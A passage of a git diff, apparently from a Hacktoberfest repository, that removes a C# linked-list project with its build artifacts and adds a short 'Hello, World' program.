Code Here/C#/Coffe-Shop-System/obj/Debug/Task_1.csproj.FileListAbsolute.txt deleted file mode 100644 index c991af9c78b..00000000000 --- a/Add Code Here/C#/Coffe-Shop-System/obj/Debug/Task_1.csproj.FileListAbsolute.txt +++ /dev/null @@ -1,7 +0,0 @@ -D:\S_2\PD\WEEK_5\Task_1\bin\Debug\Task_1.exe.config -D:\S_2\PD\WEEK_5\Task_1\bin\Debug\Task_1.exe -D:\S_2\PD\WEEK_5\Task_1\bin\Debug\Task_1.pdb -D:\S_2\PD\WEEK_5\Task_1\obj\Debug\Task_1.csproj.AssemblyReference.cache -D:\S_2\PD\WEEK_5\Task_1\obj\Debug\Task_1.csproj.CoreCompileInputs.cache -D:\S_2\PD\WEEK_5\Task_1\obj\Debug\Task_1.exe -D:\S_2\PD\WEEK_5\Task_1\obj\Debug\Task_1.pdb diff --git a/Add Code Here/C#/Coffe-Shop-System/obj/Debug/Task_1.exe b/Add Code Here/C#/Coffe-Shop-System/obj/Debug/Task_1.exe deleted file mode 100644 index 30b2042eaff..00000000000 Binary files a/Add Code Here/C#/Coffe-Shop-System/obj/Debug/Task_1.exe and /dev/null differ diff --git a/Add Code Here/C#/Coffe-Shop-System/obj/Debug/Task_1.pdb b/Add Code Here/C#/Coffe-Shop-System/obj/Debug/Task_1.pdb deleted file mode 100644 index 5218d01f142..00000000000 Binary files a/Add Code Here/C#/Coffe-Shop-System/obj/Debug/Task_1.pdb and /dev/null differ diff --git a/Add Code Here/C#/DesertDragenHelloWorld.cs b/Add Code Here/C#/DesertDragenHelloWorld.cs new file mode 100644 index 00000000000..e6cceabb810 --- /dev/null +++ b/Add Code Here/C#/DesertDragenHelloWorld.cs @@ -0,0 +1,9 @@ +using System; + +class Program +{ + static void Main() + { + Console.WriteLine("DesertDragen says: Hello, World!"); + } +} \ No newline at end of file diff --git a/Add Code Here/C#/Linked_List/LinkedList.sln b/Add Code Here/C#/Linked_List/LinkedList.sln deleted file mode 100644 index 4a319ad9653..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList.sln +++ /dev/null @@ -1,25 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Version 16 -VisualStudioVersion = 16.0.32228.343 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "LinkedList", "LinkedList\LinkedList.csproj", "{9B1629AF-26A7-41F0-A5AE-F8747C096DF5}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {9B1629AF-26A7-41F0-A5AE-F8747C096DF5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {9B1629AF-26A7-41F0-A5AE-F8747C096DF5}.Debug|Any CPU.Build.0 = Debug|Any CPU - {9B1629AF-26A7-41F0-A5AE-F8747C096DF5}.Release|Any CPU.ActiveCfg = Release|Any CPU - {9B1629AF-26A7-41F0-A5AE-F8747C096DF5}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection - GlobalSection(ExtensibilityGlobals) = postSolution - SolutionGuid = {FD09324F-69DE-470F-BD52-214164EDCD40} - EndGlobalSection -EndGlobal diff --git a/Add Code Here/C#/Linked_List/LinkedList/LinkedList.csproj b/Add Code Here/C#/Linked_List/LinkedList/LinkedList.csproj deleted file mode 100644 index c73e0d1692a..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList/LinkedList.csproj +++ /dev/null @@ -1,8 +0,0 @@ - - - - Exe - netcoreapp3.1 - - - diff --git a/Add Code Here/C#/Linked_List/LinkedList/Linked_List.cs b/Add Code Here/C#/Linked_List/LinkedList/Linked_List.cs deleted file mode 100644 index d061544ad48..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList/Linked_List.cs +++ /dev/null @@ -1,252 +0,0 @@ -using System; - -namespace LinkedList -{ - public class Linked_List { - private Node _head; - private int _count = 1; - private Node _previousNode; - public Node Creat(int number) - { - var node = new Node(number); - return node; - } - public void Link(Node node) - { - if (_count == 1) - { - _head = node; - - _count++; - - }else if (_count == 2) - { - _head.Next = node; - _previousNode = node; - _count++; - } - else { - _previousNode.Next = node; - _previousNode = node; - } - - } - public void Traverse() - { - Node temp = _head; - while (temp != null) { - Console.WriteLine(temp.Data); - temp = temp.Next; - } - } - public void AddToLinkedList(int data, Node head, int position) { - - try - { - var newNumber = new Node(data); - if (position == 0) - { - newNumber.Next = _head; - _head = newNumber; - return; - } - Node previousNode = head; - for (int i = 0; i < position - 1; i++) - { - previousNode = previousNode.Next; - } - newNumber.Next = previousNode.Next; - previousNode.Next = newNumber; - - } - catch (Exception ) - { - - Console.WriteLine("Invalid Position or list is empty "); - } - - } - public void AddAtEnd(int data) { - - try - { - var newNumber = new Node(data); - if (_head == null) - { - _head = newNumber; - } - var lastNode = _head; - - - while (lastNode.Next != null) - { - lastNode = lastNode.Next; - } - lastNode.Next = newNumber; - - } - catch (Exception ) - { - - Console.WriteLine("error"); - } - - } - public void DeleteFromLinkedList(Node head, int position) - { - - try - { - if (position == 0) - { - head = null; - return; - } - Node previousNode = head; - Node deleteNode = head; - for (int i = 1; i < position - 1; i++) - { - previousNode = previousNode.Next; - } - for (int i = 1; i < position; i++) - { - deleteNode = deleteNode.Next; - } - previousNode.Next = deleteNode.Next; - deleteNode.Next = null; - - } - catch (Exception) - { - - Console.WriteLine("Invalid Position or list is empty "); - } - - } - public int SizeOfLinkedList(Node head) - { - Node currentNode = head; - var count = 0; - while (currentNode != null) - { - currentNode = currentNode.Next; - count += 1; - } - return count; - } - public void CenterNode(Node head) - { - var size=SizeOfLinkedList(head); - var centerNode = head; - for (int i = 0; i < size / 2; i++) - { - centerNode = centerNode.Next; - } - Console.WriteLine(centerNode.Data); - } - public void DeleteFromLast(Node head) - { - var secondLastNode = head; - var size = SizeOfLinkedList(head); - for(int i = 0; i < size - 2; i++) { - secondLastNode = secondLastNode.Next; - } - secondLastNode.Next = null; - } - public void ListIterator(int position) { - var hasNext = true; - var positionNode = _head; - while (hasNext) - { - for (int i = 0; i < position-1; i++) - { - positionNode = positionNode.Next; - } - while (positionNode != null) - { - Console.WriteLine(positionNode.Data); - positionNode = positionNode.Next; - } - if (positionNode == null) - { - hasNext = false; - } - - } - - - } - - public void Sort() - { - try - { - if (_head == null) - { - throw new Exception("list is empty :"); - } - } - catch (Exception e) - { - - Console.WriteLine(e.Message); - } - if (_head.Next == null) { - return; - } - - var traverse = _head; - int temp; - while (traverse != null) - { - var next = traverse.Next; - while (next != null) - { - int compare = traverse.Data.CompareTo(next.Data); - if (compare > 0) - { - temp = traverse.Data; - traverse.Data = next.Data; - next.Data = temp; - } - next = next.Next; - } - traverse = traverse.Next; - } - } - public Node Reverse() - { - try - { - Node perviousNode = null; - - var currentNode = _head; - while (currentNode != null) - { - var temp = currentNode.Next; - currentNode.Next = perviousNode; - perviousNode = currentNode; - currentNode = temp; - - } - if (_head == null) - { - throw new NullReferenceException(); - } - _head = perviousNode; - return _head; - - - } - catch (NullReferenceException) - { - - Console.WriteLine("list is empty"); - } - return null; - - } - - } - -} diff --git a/Add Code Here/C#/Linked_List/LinkedList/Node.cs b/Add Code Here/C#/Linked_List/LinkedList/Node.cs deleted file mode 100644 index 0e84b11bb24..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList/Node.cs +++ /dev/null @@ -1,22 +0,0 @@ -namespace LinkedList -{ - public class Node { - private int _data; - private Node _next; - public Node(int data) - { - this._data = data; - this._next = null; - } - public Node Next - { - get{ return _next; } - set { _next = value; } - } - public int Data - { - get{ return _data; } - set { _data = value; } - } - } -} diff --git a/Add Code Here/C#/Linked_List/LinkedList/Program.cs b/Add Code Here/C#/Linked_List/LinkedList/Program.cs deleted file mode 100644 index c4ac6204a30..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList/Program.cs +++ /dev/null @@ -1,56 +0,0 @@ -using System; - -namespace LinkedList -{ - class Program - { - static void Main(string[] args) - { - var linkedList = new Linked_List(); - var node1 = linkedList.Creat(50); - linkedList.Link(node1); - var node2 = linkedList.Creat(30); - linkedList.Link(node2); - var node3 = linkedList.Creat(20); - linkedList.Link(node3); - var node4 = linkedList.Creat(10); - linkedList.Link(node4); - var node5 = linkedList.Creat(40); - linkedList.Link(node5); - // Sort - linkedList.Sort(); - // to display elements in linkedlist - linkedList.Traverse(); - // delete from a position - Console.WriteLine("after delete"); - linkedList.DeleteFromLinkedList(node1, 3); - linkedList.Traverse(); - //size of the linkedlist - Console.WriteLine("size of the list : "); - Console.WriteLine(linkedList.SizeOfLinkedList(node1)); - Console.WriteLine("center element is : "); - //center element of the list - linkedList.CenterNode(node1); - //delete last node - Console.WriteLine("after removing last element : "); - linkedList.DeleteFromLast(node1); - linkedList.Traverse(); - //add at a position - Console.WriteLine("adding number in between : "); - linkedList.AddToLinkedList(60, node1, 0); - linkedList.Traverse(); - // add at last - Console.WriteLine("adding element at the last : "); - linkedList.AddAtEnd(70); - linkedList.Traverse(); - //list iterator - Console.WriteLine("printing data after position : "); - linkedList.ListIterator(2); - // Reverse - Console.WriteLine("Reverse of the list :"); - linkedList.Reverse(); - linkedList.Traverse(); - - } - } -} diff --git a/Add Code Here/C#/Linked_List/LinkedList/bin/Debug/netcoreapp3.1/LinkedList.deps.json b/Add Code Here/C#/Linked_List/LinkedList/bin/Debug/netcoreapp3.1/LinkedList.deps.json deleted file mode 100644 index bf8cbfaca6a..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList/bin/Debug/netcoreapp3.1/LinkedList.deps.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "runtimeTarget": { - "name": ".NETCoreApp,Version=v3.1", - "signature": "" - }, - "compilationOptions": {}, - "targets": { - ".NETCoreApp,Version=v3.1": { - "LinkedList/1.0.0": { - "runtime": { - "LinkedList.dll": {} - } - } - } - }, - "libraries": { - "LinkedList/1.0.0": { - "type": "project", - "serviceable": false, - "sha512": "" - } - } -} \ No newline at end of file diff --git a/Add Code Here/C#/Linked_List/LinkedList/bin/Debug/netcoreapp3.1/LinkedList.dll b/Add Code Here/C#/Linked_List/LinkedList/bin/Debug/netcoreapp3.1/LinkedList.dll deleted file mode 100644 index a12b915fc55..00000000000 Binary files a/Add Code Here/C#/Linked_List/LinkedList/bin/Debug/netcoreapp3.1/LinkedList.dll and /dev/null differ diff --git a/Add Code Here/C#/Linked_List/LinkedList/bin/Debug/netcoreapp3.1/LinkedList.exe b/Add Code Here/C#/Linked_List/LinkedList/bin/Debug/netcoreapp3.1/LinkedList.exe deleted file mode 100644 index cd36c83c4f5..00000000000 Binary files a/Add Code Here/C#/Linked_List/LinkedList/bin/Debug/netcoreapp3.1/LinkedList.exe and /dev/null differ diff --git a/Add Code Here/C#/Linked_List/LinkedList/bin/Debug/netcoreapp3.1/LinkedList.pdb b/Add Code Here/C#/Linked_List/LinkedList/bin/Debug/netcoreapp3.1/LinkedList.pdb deleted file mode 100644 index 3e0459f48bf..00000000000 Binary files a/Add Code Here/C#/Linked_List/LinkedList/bin/Debug/netcoreapp3.1/LinkedList.pdb and /dev/null differ diff --git a/Add Code Here/C#/Linked_List/LinkedList/bin/Debug/netcoreapp3.1/LinkedList.runtimeconfig.dev.json b/Add Code Here/C#/Linked_List/LinkedList/bin/Debug/netcoreapp3.1/LinkedList.runtimeconfig.dev.json deleted file mode 100644 index 0be4028f99a..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList/bin/Debug/netcoreapp3.1/LinkedList.runtimeconfig.dev.json +++ /dev/null @@ -1,8 +0,0 @@ -{ - "runtimeOptions": { - "additionalProbingPaths": [ - "C:\\Users\\Abhishek\\.dotnet\\store\\|arch|\\|tfm|", - "C:\\Users\\Abhishek\\.nuget\\packages" - ] - } -} \ No newline at end of file diff --git a/Add Code Here/C#/Linked_List/LinkedList/bin/Debug/netcoreapp3.1/LinkedList.runtimeconfig.json b/Add Code Here/C#/Linked_List/LinkedList/bin/Debug/netcoreapp3.1/LinkedList.runtimeconfig.json deleted file mode 100644 index bc456d7868b..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList/bin/Debug/netcoreapp3.1/LinkedList.runtimeconfig.json +++ /dev/null @@ -1,9 +0,0 @@ -{ - "runtimeOptions": { - "tfm": "netcoreapp3.1", - "framework": { - "name": "Microsoft.NETCore.App", - "version": "3.1.0" - } - } -} \ No newline at end of file diff --git a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/.NETCoreApp,Version=v3.1.AssemblyAttributes.cs b/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/.NETCoreApp,Version=v3.1.AssemblyAttributes.cs deleted file mode 100644 index ad8dfe1a631..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/.NETCoreApp,Version=v3.1.AssemblyAttributes.cs +++ /dev/null @@ -1,4 +0,0 @@ -// -using System; -using System.Reflection; -[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v3.1", FrameworkDisplayName = "")] diff --git a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.AssemblyInfo.cs b/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.AssemblyInfo.cs deleted file mode 100644 index c8cad0c9c69..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.AssemblyInfo.cs +++ /dev/null @@ -1,22 +0,0 @@ -//------------------------------------------------------------------------------ -// -// This code was generated by a tool. -// -// Changes to this file may cause incorrect behavior and will be lost if -// the code is regenerated. -// -//------------------------------------------------------------------------------ - -using System; -using System.Reflection; - -[assembly: System.Reflection.AssemblyCompanyAttribute("LinkedList")] -[assembly: System.Reflection.AssemblyConfigurationAttribute("Debug")] -[assembly: System.Reflection.AssemblyFileVersionAttribute("1.0.0.0")] -[assembly: System.Reflection.AssemblyInformationalVersionAttribute("1.0.0")] -[assembly: System.Reflection.AssemblyProductAttribute("LinkedList")] -[assembly: System.Reflection.AssemblyTitleAttribute("LinkedList")] -[assembly: System.Reflection.AssemblyVersionAttribute("1.0.0.0")] - -// Generated by the MSBuild WriteCodeFragment class. - diff --git a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.AssemblyInfoInputs.cache b/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.AssemblyInfoInputs.cache deleted file mode 100644 index ae0e2f058f1..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.AssemblyInfoInputs.cache +++ /dev/null @@ -1 +0,0 @@ -cd464f278748a64a5a0c1766f1e7255f44453e1c diff --git a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.GeneratedMSBuildEditorConfig.editorconfig b/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.GeneratedMSBuildEditorConfig.editorconfig deleted file mode 100644 index 2fe6e8cf405..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.GeneratedMSBuildEditorConfig.editorconfig +++ /dev/null @@ -1,3 +0,0 @@ -is_global = true -build_property.RootNamespace = LinkedList -build_property.ProjectDir = d:\HacktoberfestProjects\Hacktoberfest2022-1\Add Code Here\C#\Linked_List\LinkedList\ diff --git a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.assets.cache b/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.assets.cache deleted file mode 100644 index cee0e4c60bd..00000000000 Binary files a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.assets.cache and /dev/null differ diff --git a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.csproj.AssemblyReference.cache b/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.csproj.AssemblyReference.cache deleted file mode 100644 index 18b67ae2ab0..00000000000 Binary files a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.csproj.AssemblyReference.cache and /dev/null differ diff --git a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.csproj.CoreCompileInputs.cache b/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.csproj.CoreCompileInputs.cache deleted file mode 100644 index d51e1ef4a8a..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.csproj.CoreCompileInputs.cache +++ /dev/null @@ -1 +0,0 @@ -0926df9aa35b023f24f9bc27cc48f13b3dbe9751 diff --git a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.csproj.FileListAbsolute.txt b/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.csproj.FileListAbsolute.txt deleted file mode 100644 index ff6489ba02a..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.csproj.FileListAbsolute.txt +++ /dev/null @@ -1,28 +0,0 @@ -C:\Users\sarthaksharma02\Documents\sarthak-sharma\DSA\LinkedList\LinkedList\bin\Debug\netcoreapp3.1\LinkedList.exe -C:\Users\sarthaksharma02\Documents\sarthak-sharma\DSA\LinkedList\LinkedList\bin\Debug\netcoreapp3.1\LinkedList.deps.json -C:\Users\sarthaksharma02\Documents\sarthak-sharma\DSA\LinkedList\LinkedList\bin\Debug\netcoreapp3.1\LinkedList.runtimeconfig.json -C:\Users\sarthaksharma02\Documents\sarthak-sharma\DSA\LinkedList\LinkedList\bin\Debug\netcoreapp3.1\LinkedList.runtimeconfig.dev.json -C:\Users\sarthaksharma02\Documents\sarthak-sharma\DSA\LinkedList\LinkedList\bin\Debug\netcoreapp3.1\LinkedList.dll -C:\Users\sarthaksharma02\Documents\sarthak-sharma\DSA\LinkedList\LinkedList\bin\Debug\netcoreapp3.1\LinkedList.pdb -C:\Users\sarthaksharma02\Documents\sarthak-sharma\DSA\LinkedList\LinkedList\obj\Debug\netcoreapp3.1\LinkedList.csproj.AssemblyReference.cache -C:\Users\sarthaksharma02\Documents\sarthak-sharma\DSA\LinkedList\LinkedList\obj\Debug\netcoreapp3.1\LinkedList.GeneratedMSBuildEditorConfig.editorconfig -C:\Users\sarthaksharma02\Documents\sarthak-sharma\DSA\LinkedList\LinkedList\obj\Debug\netcoreapp3.1\LinkedList.AssemblyInfoInputs.cache -C:\Users\sarthaksharma02\Documents\sarthak-sharma\DSA\LinkedList\LinkedList\obj\Debug\netcoreapp3.1\LinkedList.AssemblyInfo.cs -C:\Users\sarthaksharma02\Documents\sarthak-sharma\DSA\LinkedList\LinkedList\obj\Debug\netcoreapp3.1\LinkedList.csproj.CoreCompileInputs.cache -C:\Users\sarthaksharma02\Documents\sarthak-sharma\DSA\LinkedList\LinkedList\obj\Debug\netcoreapp3.1\LinkedList.dll -C:\Users\sarthaksharma02\Documents\sarthak-sharma\DSA\LinkedList\LinkedList\obj\Debug\netcoreapp3.1\LinkedList.pdb -C:\Users\sarthaksharma02\Documents\sarthak-sharma\DSA\LinkedList\LinkedList\obj\Debug\netcoreapp3.1\LinkedList.genruntimeconfig.cache -C:\Users\Abhishek\Desktop\LinkedList\LinkedList\bin\Debug\netcoreapp3.1\LinkedList.exe -C:\Users\Abhishek\Desktop\LinkedList\LinkedList\bin\Debug\netcoreapp3.1\LinkedList.deps.json -C:\Users\Abhishek\Desktop\LinkedList\LinkedList\bin\Debug\netcoreapp3.1\LinkedList.runtimeconfig.json -C:\Users\Abhishek\Desktop\LinkedList\LinkedList\bin\Debug\netcoreapp3.1\LinkedList.runtimeconfig.dev.json -C:\Users\Abhishek\Desktop\LinkedList\LinkedList\bin\Debug\netcoreapp3.1\LinkedList.dll -C:\Users\Abhishek\Desktop\LinkedList\LinkedList\bin\Debug\netcoreapp3.1\LinkedList.pdb -C:\Users\Abhishek\Desktop\LinkedList\LinkedList\obj\Debug\netcoreapp3.1\LinkedList.csproj.AssemblyReference.cache -C:\Users\Abhishek\Desktop\LinkedList\LinkedList\obj\Debug\netcoreapp3.1\LinkedList.GeneratedMSBuildEditorConfig.editorconfig -C:\Users\Abhishek\Desktop\LinkedList\LinkedList\obj\Debug\netcoreapp3.1\LinkedList.AssemblyInfoInputs.cache -C:\Users\Abhishek\Desktop\LinkedList\LinkedList\obj\Debug\netcoreapp3.1\LinkedList.AssemblyInfo.cs -C:\Users\Abhishek\Desktop\LinkedList\LinkedList\obj\Debug\netcoreapp3.1\LinkedList.csproj.CoreCompileInputs.cache -C:\Users\Abhishek\Desktop\LinkedList\LinkedList\obj\Debug\netcoreapp3.1\LinkedList.dll -C:\Users\Abhishek\Desktop\LinkedList\LinkedList\obj\Debug\netcoreapp3.1\LinkedList.pdb -C:\Users\Abhishek\Desktop\LinkedList\LinkedList\obj\Debug\netcoreapp3.1\LinkedList.genruntimeconfig.cache diff --git a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.dll b/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.dll deleted file mode 100644 index a12b915fc55..00000000000 Binary files a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.dll and /dev/null differ diff --git a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.genruntimeconfig.cache b/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.genruntimeconfig.cache deleted file mode 100644 index 8373dd856a2..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.genruntimeconfig.cache +++ /dev/null @@ -1 +0,0 @@ -6efeb958003d230f72674a0b1489644c94a9f368 diff --git a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.pdb b/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.pdb deleted file mode 100644 index 3e0459f48bf..00000000000 Binary files a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/LinkedList.pdb and /dev/null differ diff --git a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/apphost.exe b/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/apphost.exe deleted file mode 100644 index cd36c83c4f5..00000000000 Binary files a/Add Code Here/C#/Linked_List/LinkedList/obj/Debug/netcoreapp3.1/apphost.exe and /dev/null differ diff --git a/Add Code Here/C#/Linked_List/LinkedList/obj/LinkedList.csproj.nuget.dgspec.json b/Add Code Here/C#/Linked_List/LinkedList/obj/LinkedList.csproj.nuget.dgspec.json deleted file mode 100644 index 26dd31fd2a0..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList/obj/LinkedList.csproj.nuget.dgspec.json +++ /dev/null @@ -1,61 +0,0 @@ -{ - "format": 1, - "restore": { - "C:\\Users\\Abhishek\\Desktop\\LinkedList\\LinkedList\\LinkedList.csproj": {} - }, - "projects": { - "C:\\Users\\Abhishek\\Desktop\\LinkedList\\LinkedList\\LinkedList.csproj": { - "version": "1.0.0", - "restore": { - "projectUniqueName": "C:\\Users\\Abhishek\\Desktop\\LinkedList\\LinkedList\\LinkedList.csproj", - "projectName": "LinkedList", - "projectPath": "C:\\Users\\Abhishek\\Desktop\\LinkedList\\LinkedList\\LinkedList.csproj", - "packagesPath": "C:\\Users\\Abhishek\\.nuget\\packages\\", - "outputPath": "C:\\Users\\Abhishek\\Desktop\\LinkedList\\LinkedList\\obj\\", - "projectStyle": "PackageReference", - "configFilePaths": [ - "C:\\Users\\Abhishek\\AppData\\Roaming\\NuGet\\NuGet.Config", - "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config" - ], - "originalTargetFrameworks": [ - "netcoreapp3.1" - ], - "sources": { - "C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {} - }, - "frameworks": { - "netcoreapp3.1": { - "targetAlias": "netcoreapp3.1", - "projectReferences": {} - } - }, - "warningProperties": { - "warnAsError": [ - "NU1605" - ] - } - }, - "frameworks": { - "netcoreapp3.1": { - "targetAlias": "netcoreapp3.1", - "imports": [ - "net461", - "net462", - "net47", - "net471", - "net472", - "net48" - ], - "assetTargetFallback": true, - "warn": true, - "frameworkReferences": { - "Microsoft.NETCore.App": { - "privateAssets": "all" - } - }, - "runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\5.0.412\\RuntimeIdentifierGraph.json" - } - } - } - } -} \ No newline at end of file diff --git a/Add Code Here/C#/Linked_List/LinkedList/obj/LinkedList.csproj.nuget.g.props b/Add Code Here/C#/Linked_List/LinkedList/obj/LinkedList.csproj.nuget.g.props deleted file mode 100644 index 6f2782db2d2..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList/obj/LinkedList.csproj.nuget.g.props +++ /dev/null @@ -1,18 +0,0 @@ - - - - True - NuGet - $(MSBuildThisFileDirectory)project.assets.json - $(UserProfile)\.nuget\packages\ - C:\Users\Abhishek\.nuget\packages\ - PackageReference - 5.11.2 - - - - - - $(MSBuildAllProjects);$(MSBuildThisFileFullPath) - - \ No newline at end of file diff --git a/Add Code Here/C#/Linked_List/LinkedList/obj/LinkedList.csproj.nuget.g.targets b/Add Code Here/C#/Linked_List/LinkedList/obj/LinkedList.csproj.nuget.g.targets deleted file mode 100644 index 53cfaa19b16..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList/obj/LinkedList.csproj.nuget.g.targets +++ /dev/null @@ -1,6 +0,0 @@ - - - - $(MSBuildAllProjects);$(MSBuildThisFileFullPath) - - \ No newline at end of file diff --git a/Add Code Here/C#/Linked_List/LinkedList/obj/Release/netcoreapp3.1/.NETCoreApp,Version=v3.1.AssemblyAttributes.cs b/Add Code Here/C#/Linked_List/LinkedList/obj/Release/netcoreapp3.1/.NETCoreApp,Version=v3.1.AssemblyAttributes.cs deleted file mode 100644 index ad8dfe1a631..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList/obj/Release/netcoreapp3.1/.NETCoreApp,Version=v3.1.AssemblyAttributes.cs +++ /dev/null @@ -1,4 +0,0 @@ -// -using System; -using System.Reflection; -[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v3.1", FrameworkDisplayName = "")] diff --git a/Add Code Here/C#/Linked_List/LinkedList/obj/Release/netcoreapp3.1/LinkedList.AssemblyInfo.cs b/Add Code Here/C#/Linked_List/LinkedList/obj/Release/netcoreapp3.1/LinkedList.AssemblyInfo.cs deleted file mode 100644 index ab0918ec29e..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList/obj/Release/netcoreapp3.1/LinkedList.AssemblyInfo.cs +++ /dev/null @@ -1,23 +0,0 @@ -//------------------------------------------------------------------------------ -// -// This code was generated by a tool. -// Runtime Version:4.0.30319.42000 -// -// Changes to this file may cause incorrect behavior and will be lost if -// the code is regenerated. -// -//------------------------------------------------------------------------------ - -using System; -using System.Reflection; - -[assembly: System.Reflection.AssemblyCompanyAttribute("LinkedList")] -[assembly: System.Reflection.AssemblyConfigurationAttribute("Release")] -[assembly: System.Reflection.AssemblyFileVersionAttribute("1.0.0.0")] -[assembly: System.Reflection.AssemblyInformationalVersionAttribute("1.0.0")] -[assembly: System.Reflection.AssemblyProductAttribute("LinkedList")] -[assembly: System.Reflection.AssemblyTitleAttribute("LinkedList")] -[assembly: System.Reflection.AssemblyVersionAttribute("1.0.0.0")] - -// Generated by the MSBuild WriteCodeFragment class. - diff --git a/Add Code Here/C#/Linked_List/LinkedList/obj/Release/netcoreapp3.1/LinkedList.AssemblyInfoInputs.cache b/Add Code Here/C#/Linked_List/LinkedList/obj/Release/netcoreapp3.1/LinkedList.AssemblyInfoInputs.cache deleted file mode 100644 index d4351162a24..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList/obj/Release/netcoreapp3.1/LinkedList.AssemblyInfoInputs.cache +++ /dev/null @@ -1 +0,0 @@ -d937d6fbcbef390fa1245364d3dfb59a66614184 diff --git a/Add Code Here/C#/Linked_List/LinkedList/obj/Release/netcoreapp3.1/LinkedList.GeneratedMSBuildEditorConfig.editorconfig b/Add Code Here/C#/Linked_List/LinkedList/obj/Release/netcoreapp3.1/LinkedList.GeneratedMSBuildEditorConfig.editorconfig deleted file mode 100644 index 85fd238fb94..00000000000 --- a/Add Code Here/C#/Linked_List/LinkedList/obj/Release/netcoreapp3.1/LinkedList.GeneratedMSBuildEditorConfig.editorconfig +++ /dev/null @@ -1,3 +0,0 @@ -is_global = true -build_property.RootNamespace = LinkedList -build_property.ProjectDir = C:\Users\sarthaksharma02\Documents\sarthak-sharma\DSA\LinkedList\LinkedList\ diff --git a/Add Code Here/C#/Linked_List/LinkedList/obj/Release/netcoreapp3.1/LinkedList.assets.cache b/Add Code Here/C#/Linked_List/LinkedList/obj/Release/netcoreapp3.1/LinkedList.assets.cache deleted file mode 100644 index 3388f6ce63a..00000000000 Binary files a/Add Code Here/C#/Linked_List/LinkedList/obj/Release/netcoreapp3.1/LinkedList.assets.cache and /dev/null differ diff --git a/Add Code Here/C#/Linked_List/LinkedList/obj/project.assets.json b/Add Code 